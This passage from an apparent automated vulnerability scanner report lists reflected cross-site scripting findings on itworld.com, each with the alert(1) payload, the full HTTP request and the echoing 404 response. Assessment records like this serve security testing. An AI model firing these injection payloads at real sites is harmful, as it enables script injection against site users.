Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:18 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460498"
Content-Type: text/html; charset=utf-8
Content-Length: 57543
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:19 GMT
X-Varnish: 1038165680
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesb4664"-alert(1)-"888a5be87de/all/modules/itw/modules/itw_sharebar/js/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We coul
...[SNIP]...

1.428. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d822"><script>alert(1)</script>bf0fd52762f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all6d822"><script>alert(1)</script>bf0fd52762f/modules/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460507"
Content-Type: text/html; charset=utf-8
Content-Length: 57762
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:27 GMT
X-Varnish: 1038165868
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all6d822"><script>alert(1)</script>bf0fd52762f/modules/itw/modules/itw_sharebar/js/sharebar.js?h"/>
...[SNIP]...

1.429. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e124"-alert(1)-"f7413b2a205 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all9e124"-alert(1)-"f7413b2a205/modules/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:32 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460512"
Content-Type: text/html; charset=utf-8
Content-Length: 57543
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:34 GMT
X-Varnish: 1038166014
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all9e124"-alert(1)-"f7413b2a205/modules/itw/modules/itw_sharebar/js/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't
...[SNIP]...

1.430. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa451"><script>alert(1)</script>03fe8967289 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesfa451"><script>alert(1)</script>03fe8967289/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460527"
Content-Type: text/html; charset=utf-8
Content-Length: 57763
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:49 GMT
X-Varnish: 1038166604
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesfa451"><script>alert(1)</script>03fe8967289/itw/modules/itw_sharebar/js/sharebar.js?h"/>
...[SNIP]...

1.431. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d323a"-alert(1)-"bcfadbe0d17 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesd323a"-alert(1)-"bcfadbe0d17/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460539"
Content-Type: text/html; charset=utf-8
Content-Length: 57541
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:00 GMT
X-Varnish: 1038166922
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesd323a"-alert(1)-"bcfadbe0d17/itw/modules/itw_sharebar/js/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find th
...[SNIP]...

1.432. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 848aa"-alert(1)-"e29ce345697 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw848aa"-alert(1)-"e29ce345697/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460560"
Content-Type: text/html; charset=utf-8
Content-Length: 57543
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:23 GMT
X-Varnish: 1038167701
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw848aa"-alert(1)-"e29ce345697/modules/itw_sharebar/js/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the pa
...[SNIP]...

1.433. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd0fd"><script>alert(1)</script>d72667f3ba1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itwfd0fd"><script>alert(1)</script>d72667f3ba1/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460549"
Content-Type: text/html; charset=utf-8
Content-Length: 57763
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:14 GMT
X-Varnish: 1038167140
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itwfd0fd"><script>alert(1)</script>d72667f3ba1/modules/itw_sharebar/js/sharebar.js?h"/>
...[SNIP]...

1.434. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e444b"><script>alert(1)</script>50e41dd78c0 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modulese444b"><script>alert(1)</script>50e41dd78c0/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460569"
Content-Type: text/html; charset=utf-8
Content-Length: 57762
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:30 GMT
X-Varnish: 1038168287
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modulese444b"><script>alert(1)</script>50e41dd78c0/itw_sharebar/js/sharebar.js?h"/>
...[SNIP]...

1.435. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5a10"-alert(1)-"3622409f49d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modulesb5a10"-alert(1)-"3622409f49d/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460574"
Content-Type: text/html; charset=utf-8
Content-Length: 57543
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:38 GMT
X-Varnish: 1038168490
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
